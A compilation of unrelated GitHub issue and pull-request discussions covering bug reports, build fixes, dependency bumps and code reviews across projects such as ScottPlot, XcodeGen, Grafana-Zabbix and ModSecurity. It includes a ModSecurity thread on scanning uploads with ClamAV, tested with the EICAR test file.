[x] Verified that the randomizer works and updates the displayed line dynamically.
[x] Tested responsiveness across different devices and screen sizes.

Feel free to reach out on Discord for further discussions or feedback on this feature!
Screenshots

I am a Hacktoberfest contributor

I am a Hacktoberfest contributor

Hi @Karna0005, welcome to the community! Thank you for your contribution. Could you please create an issue for this and link it to the PR? Also, it would be great if you could update the PR title with a more descriptive one. If you have any questions, feel free to join our Discord we’d be happy to help!

Hi Sachin, can you check the code and accept my pull request and add me to the contributor list ?

Hi @Karna0005 the PR title is still not reflecting the changes, just Main. Also, we are migrating to TailwindCSS, so instead of using Vanilla CSS, can you use TailwindCSS for styling purposes.

can you suggest me what should be the pr title..?
ill just change the css from vanilla to tailwind css by the time

Hey,
i have changed the css can you please review the code. or else ill close the current pull request and create another pull request with clear documentation.

what should i change please tell this is my first contribution

can you suggest me what should be the pr title..?

It can be something like, "Cheesy Pick-up lines Play"

Hey, i have changed the css can you please review the code. or else ill close the current pull request and create another pull request with clear documentation.

Tailwind code seems fine, what say @priyankarpal @Sachin-chaurasiya , shall we merge it?


Minikube development

Can we get this finished up soon? We're approaching PR rot. /cc @cored @therealplato

@bobbytables I'm working on it.

@cored what's the status of this


Should allow changing font.weight to 'lighter' , may be the font rendering is not good in VS Code.

VSCode Version:1.18.1
OS Version:Window 10 home premium

Steps to Reproduce:

try to adjusting theme and fond setting
seeing thick and slightly bold fonts.

Reproduces without extensions: Yes/No

@Dheerusuthar can you share a screenshot?


Error "Invalid start date" for date 1970-01-01T00:00:00Z

When using new Date('1970-01-01T00:00:00Z') as the start date in a call to schedule.next (or its friends prev, nextRange, and prevRange), the method will throw Error: Invalid start date.
If the condition !startDate.getTime() at schedule.js line 52 is meant to check whether the date is valid, it should be Number.isNaN(startDate.getTime()) instead of for checking for falsyness.

  The case of needing to start at the epoch is uncommon and not supported.

The performance gain of using !x instead of Number.isNaN(x) should be in the order of nanoseconds, if there is a gain at all. In my opinion, this micro-optimization does not justify sacrificing correctness.
Starting at the epoch might actually be more common than you'd think. I ran into this issue because I used sinon.useFakeTimers() in my tests. Sinon's fake time starts at the UNIX epoch by default.
At the very least, not supporting the UNIX epoch as start date should be documented. It could save others a lot of debugging time in the future.

It's not just that one check, it means that I never have to track the epoch as a valid occurrence which does have an impact (less garbage). In my case I needed to calculate 10s of thousands of schedules and so every little bit helped (though it definitely could be optimized further).
I guess it could be documented more clearly, but it did throw an error telling you that the start date was not valid.


Add rich input for items

A first step could be adding a shortcut for selecting a category, e.g. typing carrots #veg would store carrots in the fruit & veg category.
This could be done simply using an input in which case this should fail gracefully but perhaps display a toast notification indicating a failure (e.g. for an unrecognised category). A more complex but visual method would be doing away with an input and highlighting with a pill when a category is recognised, similar to the screenshot below from todoist

An extension could be adding inline notes, e.g. carrots #veg -large bag

Doing this properly would involve the contenteditable attribute which makes things a bit more complicated. Could potentially do a simplified version with a normal input however.


Merge 10.0 branch into master?

Now that we've released a first pre-release for 10.0, is there any reason why we're still using the 10.0.0-dev branch instead of master?

@BasThomas mainly because in case of bug fixes it is easier to release new 9.* version and have it rebased in 10 as well.


Chore: Bump pyroscope-go/godeltaprof to v0.1.8 to fix panic on go 1.23

See https://github.com/grafana/pyroscope-go/issues/118
Fixes https://github.com/grafana/grafana-zabbix/issues/1874

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@Antiz96 thank you for your contribution. We appreciate it. It looks that in the meantime, we fixed this by https://github.com/grafana/grafana-zabbix/pull/1877/files. So closing this. But again, thank you. :)

Alright, that's fine thanks! :)
Do you know if a new release including this fix is planned soon?
I'm the package maintainer for the grafana-zabbix Arch Linux package, so it's just to know if I can expect a new release I'll be able to build as-is or if I should backport those fixes into our current package (Arch is already on go 1.23).

We can release next week, is that all right?

Sure that'll do. Thanks again!

New version of Zabbix v4.5.4 has been released.

Alright! I can't see the tag yet but I assume that's coming :smile:
Thanks a lot!

Thanks again :tada:


fix typo for declare_handler! macro

There is a typo in declare_handler! macro. This PR fixed it.

Thanks! :smile:


Update to Go 1.19

Signed-off-by: Evan Baker<EMAIL_ADDRESS>
Reason for Change:

Issue Fixed:

Requirements:

[ ] uses conventional commit messages

[ ] includes documentation
[ ] adds unit tests

Notes:

All necessary Go 1.19 base images have not been published yet; this will stay as draft until the dependencies are available.

I think so. An action with paths to sed or something might be nice, but hard to maintain... And even if we automatically update, someone needs to manually update the required PR checks because Github does string matching and the names have the version like Lint(1.18.x, ubuntu-latest)

mmm... fair point. We'd likely only run it every six months, where we find that other things have encoded knowledge about the Go version that weren't also updated in the script. Probably more work than it's worth.


gnome-shell killed by SIGTRAP

Gnome: gnome-shell-3.34.4-1.fc31
OS Release: Fedora release 31 (Thirty One)
When the extension is turned on, the gnome periodically crashes.
I have error - "gnome-shell killed by SIGTRAP"
My logs in the attachment.
Can I do something to diagnose?
PS
Sorry for my English =)
userlog.txt

Mind trying the version from github again?

I got the same crashes on Fedora 31 / Gnome Shell 3.34.4
When 'Resume tracking after abrupt restart' is deactivated gnome shell crashes but doesn't freeze.
After a few restarts/crashes of gnome shell the extension is getting deactivated by shell I think? (Icon is still in status bar but I'm not able to start tracking.)
Maybe this issue is a duplicate to #104 ? I got the same behavior as @podcherklife in https://github.com/zagortenay333/timepp__gnome/issues/104#issuecomment-505430147_ descriped.
How can I replace the installed version by the one from github?

 Can you try 3.36. I'd love to just close this and not bother with 3.34 anymore.

Not anymore. I'm on 3.28.1 but have not tested it yet.

Alright closing then.


Don't link transitive static carthage libraries

The current version of XcodeGen tends to link all static carthage libraries transitively.
That means it links static dependencies of an App target to its test target.
https://github.com/yonaskolb/XcodeGen/blob/aaae84f883c31dc0a4050f56942ee99c1b109135/Sources/XcodeGenKit/PBXProjGenerator.swift#L910-L925
Images below illustrate this behavior, where SwiftyJSON is a static library linked to the app target, and swift-tagged is another one linked directly to the test target.

App
Test

I believe this is not how we expect it to work because SwiftyJSON binary is embedded into both app and test executable, it causes symbol collision when you run test.
I changed PBXProjGenerator to link static libraries only what the top-level target depends, but not transitive ones. The count of results of CarthageDependencyResolver.dependencies(for:) won't change, as I'd rather want to keep its completeness.
Dependencies of the test target after this change:

I just added SwiftyJSON and swift-tagged statically to the fixture project in 7e65bd7 first, to see the actual diff for the code changes in 1da2133 (and have no opinion about the choice of libraries; just lightweight ones.)

@brentleyjones Thanks! Added newline and merged master. Found fixture generation becoming indeterministic, also fixed.

Do we have similar issues with transitive static library Target or SwiftPM dependencies?

I now tried both cases and they doesn't look to have problems. The app in the fixture project already has a static dependency but it's test is fine, and checked the SPM case on my local.
Should I also add it to the fixture?

If you could strengthen the fixture that would be great, thanks.

@brentleyjones Added SPM fixture changes and test fixes 👍  79621eb 2dde630

Looks like we have some test failures.

Oops, it succeeded with the empty source directory only on my local. Added a source.

Sorry again, fixing a typo in the spec.

Looks fine now?


Github workflow fix: use gcc-9

Looks like the Github Workflows build was broken, because 'ubuntu-latest' uses gcc-7 by default. This fix updates it to gcc-9, so that c++20 is available.

Codecov Report

Merging #13 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #13   +/-   ##
=======================================
  Coverage   28.00%   28.00%
=======================================
  Files           3        3
  Lines          50       50
=======================================
  Hits           14       14
  Misses         36       36

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b737c32...fa1a3d3. Read the comment docs.

We can bump gcc-9 up to version 10 by now. According to launchpad.net, ppa:ubuntu-toolchain-r/test provides gcc-10 on Ubuntus 18.04 and 20.04. I won't do this unless I hear something back, though. This PR was really only meant to get rid of the nasty red X, not to enable new C++20 features.


Create dependabot.yml

Codecov Report
Base: 25.00% // Head: 25.00% // No change to project coverage :thumbsup:

Coverage data is based on head (9037cf9) compared to base (1b1222c).
Patch has no changes to coverable lines.

Additional details and impacted files
@@           Coverage Diff           @@
##             main       #3   +/-   ##
=======================================
  Coverage   25.00%   25.00%
=======================================
  Files           1        1
  Lines           8        8
=======================================
  Hits            2        2
  Misses          6        6

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Merge MHLO_BinaryElementwiseOp and MHLO_BinaryElementwiseOpNoAssembly

Request description
Corresponding to MHLO change: https://github.com/tensorflow/mlir-hlo/commit/7506e8cc9952aa47b050ea5526079bb0157babec

This has been implemented in https://github.com/openxla/stablehlo/pull/29.


fix: Fix AllowGetCertificates statement scope for ALB controller role

What does this PR do?
This PR fixes the AllowGetCertificates statement in the IAM policy for ALB controller role.
The included IAM policy for ALB controller sets incorrect permissions for AllowGetCertificates statement. It prevents ALB controller from accessing ACM certificates and makes it impossible to use the certificate search functionality, resulting in errors like AccessDeniedException: User: arn:aws:sts::433222222257:assumed-role/alb-controller-20230620120130875800000002/1687883887660094198 is not authorized to perform: acm:ListCertificates because no identity-based policy allows the acm:ListCertificates action"
This is a result of limiting the statement to the following resources:
"arn:${local.partition}:acm:${local.region}:${local.account_id}:*",
"arn:${local.partition}:acm:${local.region}:${local.account_id}:certificate/*"

The actions do not take limits and only allow a wildcard ("*") resource access.

@wfrced can you please open an issue describing your use-case and provide some sample code so we can try to reproduce.

@askulkarni2 Sure! It's there https://github.com/aws-ia/terraform-aws-eks-blueprints-addons/issues/198


Make PlottableSignalConst generic

Signal and SignalConst maked generic, thats allow plot different types of struct data types (float, int, byte etc). This types must be convertable to Double.
With generic data types all comparation calculation goes slower by 30-40%.
SignalConst overall render not visibly affected by this.
PlottableSignal Render slower by 10-20% for 10M points at high resolution chart. Posible improvement commented in MinMaxRangeQuery(), but it will give lots of code duplicates for all posible data types.

Hi @StendProg, thank you for working on this!
This pull request improves PlottableSignalConst since it can now accept many different data types at the cost of slower speed. Since using PlottableSignalConst on fixed data is so fast already, the reduced speed doesn't hurt much.
However, this change also makes PlottableSignal slower, and since this function can already be slow this could noticeably reduce frame rate. One of my most common uses for ScottPlot is using PlottableSignal to display live data in real time, and I would prefer not to slow it down by making it generic. I also noticed that this pull request broke the FFT display in the audio monitor demo (though I haven't figured out why).
At first I thought we could keep PlottableSignalConst generic but revert PlottableSignal to only accept a double array. I started to change this myself, but I now see that because of the inheritance structure this is probably not possible. I think we should consider separating PlottableSignal from PlottableSignalConst. They're both signals, but they serve different purposes (one is for live data and one is for fixed data) so it may not make sense to inherit one from another. Perhaps we could have a Signal class (which handles styling, rendering, and data save) but create SignalLive and SignalConst classes which inherit from it that deal with the data loading, updating, and min/max calculations in their own ways.
I'm looking forward to hearing what you think! Thanks again for your excellent work.
Scott

I also really do not like reduce speed of signal.I think its not posible to make non generic base class for Signal and SignalConst, because he must hold source array, that generic type for SignalConst.
I see only one possible way to make it.
Full separate SignalConst implementanion without inheritance, that have his own copy pasted Render, RenderHighDensity etc.
PlotableSignal stay as it was before SignalConst appeared(with small fixes and optimizations).
When you take you final decission on that, i will make it.

Fully separate PlottableSignalConst (that does not inherit from PlotableSignal)
PlottableSignalConst will contain some copy/pasted functions from PlotableSignal
PlottableSignalConst will accept generics
PlotableSignal will be mostly as it was before PlottableSignalConst (with small fixes and optimizations)

This sounds like a good plan to me! Thank you @StendProg!

This line is crashing the audio monitor demo
https://github.com/swharden/ScottPlot/blob/1b2e5f896afd5f8daec8154d0e93f1c13ac846ed/src/ScottPlot/Settings.cs#L460
System.InvalidOperationException
  HResult=0x80131509
  Message=This operation is only valid on generic types.
  Source=mscorlib
  StackTrace:
   at System.RuntimeType.GetGenericTypeDefinition()
   at ScottPlot.Settings.Clear(Boolean axLines, Boolean scatters, Boolean signals, Boolean text, Boolean bar, Boolean finance) in C:\Users\scott\Documents\GitHub\ScottPlot\src\ScottPlot\Settings.cs:line 460
   at ScottPlot.Plot.Clear(Boolean axisLines, Boolean scatterPlots, Boolean signalPlots, Boolean text, Boolean bar, Boolean finance) in C:\Users\scott\Documents\GitHub\ScottPlot\src\ScottPlot\Plot.cs:line 182
   at ScottPlotAudioMonitor.Form1.TimerPlot_Tick(Object sender, EventArgs e) in C:\Users\scott\Documents\GitHub\ScottPlot\demos\src\audio-monitor\Form1.cs:line 153
   at System.Windows.Forms.Timer.OnTick(EventArgs e)
   at System.Windows.Forms.Timer.TimerNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
   at System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
   at System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr dwComponentID, Int32 reason, Int32 pvLoopData)
   at System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context)
   at System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context)
   at System.Windows.Forms.Application.Run(Form mainForm)
   at ScottPlotAudioMonitor.Program.Main() in C:\Users\scott\Documents\GitHub\ScottPlot\demos\src\audio-monitor\Program.cs:line 19

My bad. Fixed this.

Looks great, thanks again @StendProg!

You can make cookbook demo with 1 Billion points of 'byte', it need only 3 GB memory for data.

A bit late idea. In generic PlottableSignal check type for double and call fast not LinqExp implementation of min/max search. and LinqExp for other. That will stay speed for double[] at same level as before, and allow other types at reduced speed.

I looks like it rendered in simple min/max implementation. Please check x64 mode, and trees ready flag. It can be rendered for 10-20 ms too. After long data generation and trees calculations

You can make cookbook demo with 1 Billion points of 'byte', it need only 3 GB memory for data.

Good idea!
https://github.com/swharden/ScottPlot/tree/master/cookbook#signalconst-one-billion-points

trees ready flag

Oops, that's what I did wrong.

A bit late idea. In generic PlottableSignal check type for double and call fast not LinqExp implementation of min/max search. and LinqExp for other. That will stay speed for double[] at same level as before, and allow other types at reduced speed.

Haha it is a bit late but I like the idea. I'm less familiar with LinqExp and generics though, so I'd probably have to look at a PR to really understand it.
I think for now it's in a good place though: If you are plotting a live double array use PlottableSignal. If you are plotting fixed data or data of another type, use PlottableSignalConst. That should probably cover most of the use cases.
Maybe we could even create an overload of Plot.PlotSignal() that automatically uses a PlottableSignalConst if the input data type is something other than a double array?

I wait long, but it  render time is only 4 ms

What is your code to make that plot? Mine seems to keep going slow...
byte[] oneBillionPoints = ScottPlot.DataGen.SinSweepByte(1_000_000_000, 8);
var plt = new ScottPlot.Plot(width, height);
plt.Title("Display One Billion points with PlotSignalConst()");
plt.Benchmark();
plt.Parallel(false);
plt.PlotSignalConst(oneBillionPoints, sampleRate: 20_000_000);
plt.SaveFig(fileName);

Copy pasted yours. but i make it in gui app. Double check x64 mode. x86 dont allow more then 2-3 GB total ram for process.

Double check x64 mode

That did the trick, thanks!
https://github.com/swharden/ScottPlot/tree/master/cookbook#signalconst-one-billion-points

Maybe we could even create an overload of Plot.PlotSignal() that automatically uses a PlottableSignalConst if the input data type is something other than a double array?

This can be done like below. Negative side is returning Plottable instead of PlottableSignal
        public Plottable PlotSignal<T>(
            T[] ys,
            double sampleRate = 1,
            double xOffset = 0,
            double yOffset = 0,
            Color? color = null,
            double lineWidth = 1,
            double markerSize = 5,
            string label = null
            ) where T : struct, IComparable
        {
            if (color == null)
                color = settings.GetNextColor();
            var ysDouble = ys as double[];
            Plottable signal;
            if (ysDouble != null)
            {
                signal = new PlottableSignal(
                    ys: ysDouble,
                    sampleRate: sampleRate,
                    xOffset: xOffset,
                    yOffset: yOffset,
                    color: (Color)color,
                    lineWidth: lineWidth,
                    markerSize: markerSize,
                    label: label,
                    useParallel: settings.useParallel
                    );
            }
            else
            {
                signal = new PlottableSignalConst<T>(
                    ys: ys,
                    sampleRate: sampleRate,
                    xOffset: xOffset,
                    yOffset: yOffset,
                    color: (Color)color,
                    lineWidth: lineWidth,
                    markerSize: markerSize,
                    label: label,
                    useParallel: settings.useParallel
                    );
            }

            settings.plottables.Add(signal);
            return signal;
        }

You can implement this, if you like.

Thanks for this code! I started a bigger issue to track conversion of all plot types to generics (#103)


Add a couple of discontinued device types for completeness

Change-type: minor
Signed-off-by: Stevche Radevski<EMAIL_ADDRESS>

@balena-ci I self-certify!


Argument CMAKE_BUILD_TYPE optional during cmake build

Background
Build option CMAKE_BUILD_TYPE is 'mandatory' because STREQUAL expects an argument. Force the expression to evaluate early by checking the existence of CMAKE_BUILD_TYPE. This makes CMAKE_BUILD_TYPE an optional build argument. Defaults to Release. Fixes build errors when using Docker build script, where at this time, cmake build flags can not be passed into the script.
Tested
$ cmake --version
cmake version 3.23.2

Without changes
        Configure Fastest-lap
        =====================

CMake Error at CMakeLists.txt:75 (if):
  if given arguments:

    "MSYS" "AND" "STREQUAL" "Debug"

  Unknown arguments specified

With changes prevents this error.
Checklist
Before submitting a pull request, make sure you satisfy all of the following points:

[x] Give as much detail as possible on what is included within the pull request
[x] Make sure that new additions are not already present in the project
[ ] If it contains source code, comply with the coding guidelines
[ ] Add new tests for new features
[ ] Run and pass the tests using GitHub's workflows

Hello Kelvin. Good, there's another instance of that same bit in src/main/c/CMakeLists.txt. Do you want to update it too? Cheers

Thank you Kelvin

Huh, for some reason this edit did not work as expected. The purpose of these lines are to skip the compilation of libfastestlapc when MSYS and Debug mode are used, because of some gnarly linker errors I honestly do not want to lose time in investigate.


Segments data(?) what it's job in the evaluation

https://github.com/idan-tankel/SemOOD/blob/cfaf4e6690d3f1eb2ce3d38819c240d2d8c62456/SEED-Bench/instruct_blip_interface.py#L124

most of the examples do contain one segment
we will build later on evaluation for all the tasks


ClamAV with mod security

Hello,
I wondered if this is the right place where to ask and I am sorry if it's not. I would like to use clamAV scanning with mod security in nginx and found the following guide:
https://malware.expert/scan-every-file-clam-antivirus-scanner-modsecurity/
Although I receive the following error on the rule:
SecRule FILES_TMPNAMES "@inspectFile /usr/local/bin/runav.pl"
"phase:2,t:none,block,msg:'Virus found in uploaded file',id:'399999'"
Operator: InspectFile is not yet supported. Is it possible to use another operator to accomplish this task or is it planned to be implemented? I am using libmodsecurity version 3 with nginx connector and cars v3 too.
Thank you in advance.

Hi @intelbg,
Please check the most recent version of v3/master. The code was recently implemented there.

I did  git clone -b v3/master  https://github.com/SpiderLabs/ModSecurity
and recompiled it again, but still the operator is missing. I a wrong in doing the git clone or I should use the branch v3/dev/inspectFile. Are this branches merged?

Can you please provide me md5 sum of the specific file?

@intelbg make sure you are cloning the repository into an empty directory.

@zimmerle I am sure it's cloned in empty directory. Is my command for git clone right?

@intelbg inspecFile support was added at https://github.com/SpiderLabs/ModSecurity/commit/1866a3a9eb59e293b12a5ca37513d3763b8bd5bb. See https://github.com/SpiderLabs/ModSecurity/blob/v3/master/src/operators/inspect_file.cc for reference.
"$ git clone -b v3/master https://github.com/SpiderLabs/ModSecurity" should work to clone to a new directory. To update your local repository with the current master "$git pull" should do the trick.

Hi @intelbg, @zimmerle, @victorhora,
I've been digging into libmodsecurity + clamav integration, and googled to this issue, so I decided to post some of my results here instead of creating another one.
The v3/master branch, as of https://github.com/SpiderLabs/ModSecurity/commit/480a2f89d786956bd98e41941c001e6afbd22728, does have working support for the @inspectFile operator.
Test env:
root@vagrant:/# lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.4 LTS
Release:	16.04
Codename:	xenial
root@vagrant:/# dpkg -l | fgrep clamav
ii  clamav                              0.99.4+addedllvm-0ubuntu<IP_ADDRESS>          amd64        anti-virus utility for Unix - command-line interface
ii  clamav-base                         0.99.4+addedllvm-0ubuntu<IP_ADDRESS>          all          anti-virus utility for Unix - base package
ii  clamav-daemon                       0.99.4+addedllvm-0ubuntu<IP_ADDRESS>          amd64        anti-virus utility for Unix - scanner daemon
ii  clamav-freshclam                    0.99.4+addedllvm-0ubuntu<IP_ADDRESS>          amd64        anti-virus utility for Unix - virus database update utility
ii  libclamav7                          0.99.4+addedllvm-0ubuntu<IP_ADDRESS>          amd64        anti-virus utility for Unix - library

ModSecurity config part:
root@vagrant:/# cat /etc/nginx/modsec/main.conf
Include /etc/nginx/modsec/modsecurity.conf

SecRule FILES_TMPNAMES "@inspectFile /usr/local/bin/runav.pl" \
"phase:2,t:none,deny,msg:'Virus found in uploaded file',id:'399999'"

The /usr/local/bin/runav.pl script - note that it was modified ("1" and "0" in output have been swapped around, see below) and a bit differ from the "official" one at https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/v3.0/master/util/av-scanning/runav.pl:
#!/usr/bin/env perl
#
# runav.pl
# Copyright (c) 2004-2011 Trustwave
#
# This script is an interface between ModSecurity and its
# ability to intercept files being uploaded through the
# web server and ClamAV.

$CLAMDSCAN = "clamdscan";

if ($#ARGV != 0) {
    print "Usage: runav.pl <filename>\n";
    exit;
}

my ($FILE) = shift @ARGV;

$cmd = "$CLAMDSCAN --stdout --no-summary $FILE";

$input = `$cmd`;
$input =~ m/^(.+)/;
$error_message = $1;

$output = "1 Unable to parse clamscan output [$1]";

if ($error_message =~ m/: Empty file\.?$/) {
    $output = "0 empty file";
}
elsif ($error_message =~ m/: (.+) ERROR$/) {
    $output = "1 clamscan: $1";
}
elsif ($error_message =~ m/: (.+) FOUND$/) {
    $output = "1 clamscan: $1";
}
elsif ($error_message =~ m/: OK$/) {
    $output = "0 clamscan: OK";
}

print "$output\n";

Test request for good file:
root@vagrant:/# curl -i -F<EMAIL_ADDRESS>http://localhost/modsec-full/upload/a/b/c/
HTTP/1.1 100 Continue

HTTP/1.1 200 OK
Server: nginx/1.13.9
Date: Tue, 20 Mar 2018 11:49:43 GMT
Content-Type: text/plain
Content-Length: 38
Connection: keep-alive

5522:4d3d67931da1f3de75c5b156140b174b

Test request for bad file (http://www.eicar.org/86-0-Intended-use.html):
root@vagrant:/# curl -i -F<EMAIL_ADDRESS>http://localhost/modsec-full/upload/a/b/c/
HTTP/1.1 100 Continue

HTTP/1.1 403 Forbidden
Server: nginx/1.13.9
Date: Tue, 20 Mar 2018 11:50:34 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive

<title>403 Forbidden</title>

403 Forbidden

nginx/1.13.9

Log for bad file:
2018/03/20 04:50:34 [info] 18473#18473: *6 ModSecurity: Access denied with code %d (phase 2). Matched "Operator `InspectFile' with parameter `/usr/local/bin/runav.pl' against variable `FILES_TMPNAMES:eicar.com' (Value: `eicar.com' ) [file "/etc/nginx/modsec/main.conf"] [line "31"] [id "399999"] [rev ""] [msg "Virus found in uploaded file"] [data ""] [severity "0"] [ver ""] [maturity "0"] [accuracy "0"] [hostname "<IP_ADDRESS>"] [uri "/modsec-full/upload/a/b/c/"] [unique_id "152154663498.971791"] [ref "v321,9"], client: <IP_ADDRESS>, server: , request: "POST /modsec-full/upload/a/b/c/ HTTP/1.1", host: "localhost"
2018/03/20 04:50:34 [warn] 18473#18473: *6 [client <IP_ADDRESS>] ModSecurity: Warning. Matched "Operator `InspectFile' with parameter `/usr/local/bin/runav.pl' against variable `FILES_TMPNAMES:eicar.com' (Value: `eicar.com' ) [file "/etc/nginx/modsec/main.conf"] [line "31"] [id "399999"] [rev ""] [msg "Virus found in uploaded file"] [data ""] [severity "0"] [ver ""] [maturity "0"] [accuracy "0"] [hostname "<IP_ADDRESS>"] [uri "/modsec-full/upload/a/b/c/"] [unique_id "152154663498.971791"] [ref "v321,9"], client: <IP_ADDRESS>, server: , request: "POST /modsec-full/upload/a/b/c/ HTTP/1.1", host: "localhost"

Also, every run of external script from @inspectFile operator produces two log lines in nginx error log (level "notice"):
2018/03/20 05:26:10 [notice] 18473#18473: signal 17 (SIGCHLD) received from 18603
2018/03/20 05:26:10 [notice] 18473#18473: unknown process 18603 exited with code 0

The 18473 in the above example is a pid of nginx worker process - so there is a fork/exec every time @inspectFile is being iterated, and obviously this blocks nginx worker during the execution time.
Finally, I had to modify runav.pl to swap around "1" and "0" in output in order to make it work as expected:

trigger rule when ClamAV finds a virus,
do not trigger rule when ClamAV reports OK (or a file was empty).

Corresponding parts of ModSecurity debug log, good case:
[4] Starting phase REQUEST_BODY. (SecRules 2)
[9] Multipart: Boundary: ------------------------de27167d9e098491
[9] Multipart: Added part header "Content-Disposition" "form-data; name="upload"; filename="configs.tar.gz"".
[9] Multipart: Added part header "Content-Type" "application/octet-stream".
[9] Multipart: Content-Disposition name: upload.
[9] Multipart: Content-Disposition filename: configs.tar.gz.
[9] Multipart: Added file part to the list: name "upload" file name "configs.tar.gz" (offset 160, length 5314)
[4] Multipart: Cleanup started (remove files Not set)
[9] This phase consists of 5 rule(s).
[4] (Rule: 200002) Executing operator "Eq" with param "0" against REQBODY_ERROR.
[9] Target value: "0" (Variable: REQBODY_ERROR)
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 200003) Executing operator "Eq" with param "0" against MULTIPART_STRICT_ERROR.
[9] Target value: "0" (Variable: MULTIPART_STRICT_ERROR)
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 200004) Executing operator "Eq" with param "0" against MULTIPART_UNMATCHED_BOUNDARY.
[9] Target value: "0" (Variable: MULTIPART_UNMATCHED_BOUNDARY)
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 200005) Executing operator "StrEq" with param "0" against TX:regex(^MSC_).
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 399999) Executing operator "InspectFile" with param "/usr/local/bin/runav.pl" against FILES_TMPNAMES.
[9] Target value: "configs.tar.gz" (Variable: FILES_TMPNAMES:configs.tar.gz)
[4] Rule returned 0.
[9] Matched vars cleaned.

Bad case:
[4] Starting phase REQUEST_BODY. (SecRules 2)
[9] Multipart: Boundary: ------------------------7379d86185e7c6b7
[9] Multipart: Added part header "Content-Disposition" "form-data; name="upload"; filename="eicar.com"".
[9] Multipart: Added part header "Content-Type" "application/octet-stream".
[9] Multipart: Content-Disposition name: upload.
[9] Multipart: Content-Disposition filename: eicar.com.
[9] Multipart: Added file part to the list: name "upload" file name "eicar.com" (offset 155, length 68)
[4] Multipart: Cleanup started (remove files Not set)
[9] This phase consists of 5 rule(s).
[4] (Rule: 200002) Executing operator "Eq" with param "0" against REQBODY_ERROR.
[9] Target value: "0" (Variable: REQBODY_ERROR)
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 200003) Executing operator "Eq" with param "0" against MULTIPART_STRICT_ERROR.
[9] Target value: "0" (Variable: MULTIPART_STRICT_ERROR)
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 200004) Executing operator "Eq" with param "0" against MULTIPART_UNMATCHED_BOUNDARY.
[9] Target value: "0" (Variable: MULTIPART_UNMATCHED_BOUNDARY)
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 200005) Executing operator "StrEq" with param "0" against TX:regex(^MSC_).
[4] Rule returned 0.
[9] Matched vars cleaned.
[4] (Rule: 399999) Executing operator "InspectFile" with param "/usr/local/bin/runav.pl" against FILES_TMPNAMES.
[9] Target value: "eicar.com" (Variable: FILES_TMPNAMES:eicar.com)
[9] Matched vars updated.
[4] Running [independent] (non-disruptive) action: msg
[9] Saving msg: Virus found in uploaded file
[4] Rule returned 1.

That makes me think that there is an error in https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.0/master/util/av-scanning/runav.pl - but I'm not sure as I don't have any knowledge on how @inspectFile is working in ModSecurity 2.x - are there any differences in parsing stdout, or in something else?
Hope this helps someone.

For future reference: https://github.com/SpiderLabs/ModSecurity/issues/1646#issuecomment-382914522


chore(buildpacks): update heroku-buildpack-scala to v66

Adds SBT 0.13.11 support.
See https://github.com/heroku/heroku-buildpack-scala/compare/v65...v66

I'm manually testing this.

Tested with the example-scala app and all checks out.  I'm not sure why this is showing up as needing a re-base, but it is.


observatory/tests/service/bad_reload_test.dart is broken

The test passes, but for a wrong reason.
The test is supposed to confirm VM behavior when hot reload fails. It expects hot reload failure because kernel file produced by frontend for dart source that imports missing source has #main, rather than main entry point.  But even if kernel file is correct(if kernel file it has a main entrypoint), the test still passes, indicating that VM still failed to hot-reload. VM failure to hot-reload seems to do with this error:
>testee>err> tag handler failed: 'file:///$DH/sdk/runtime/observatory/tests/service/bad_reload/v2/main.dart' is not a kernel file

Further, the test really need to accommodate improvements in frontend, that would indeed have main, rather than #main entry point in case of import of a missing library source.
cc @peter-ahe-google

The >testee>err> tag handler failed: 'file:///$DH/sdk/runtime/observatory/tests/service/bad_reload/v2/main.dart' is not a kernel file is happening since dart switched to dart2 mode by default. When you force dart1 mode(fullArgs.add('--no-preview-dart-2'); at /runtime/observatory/tests/service/test_helper.dart:147, that error disappears.

There is a real problem in hot reload in vm where when loading from kernel, we don't correctly recognize the case where root library is changing.

Beyond fixing hot reload when uri changes(which should be fixed by https://dart-review.googlesource.com/c/sdk/+/67400) there is a problem with how compiler is not reset if attempt to hot-reload fails on VM. When VM fails to hot-reload and rejects the patch, compiler is not really reset to last-known-green-state, so attempt to compile expression will work on updated compiler, instead of revert one.


Raise mopidy.exceptions.BackendError

According to the Mopidy docs, backends should raise mopidy.exceptions.BackendError on initialisation errors (e.g. when logging in to the Pandora server failed).
This will cause Mopidy to print the error message and exit, which might be less confusing than just not having the Mopidy-Pandora backend extension listed in the frontend if it did not initialise properly.

Looks like this is related to ext.Extension.setup rather than pykka.ThreadingActor.on_start, so probably not that helpful for login issues - my bad.


Update ru.json

Adding new line translations
In future plase new Eng lines in the end of json

Thanks!
Untranslated (e.g. new) strings are at the end of the JSON files.

Thanks!
Untranslated (e.g. new) strings are at the end of the JSON files.

Thanks!
6 янв. 2021 г., 22:57 +0300, CraigD<EMAIL_ADDRESS>писал:

Thanks!
Untranslated (e.g. new) strings are at the end of the JSON files.
—
You are receiving this because you authored the thread.
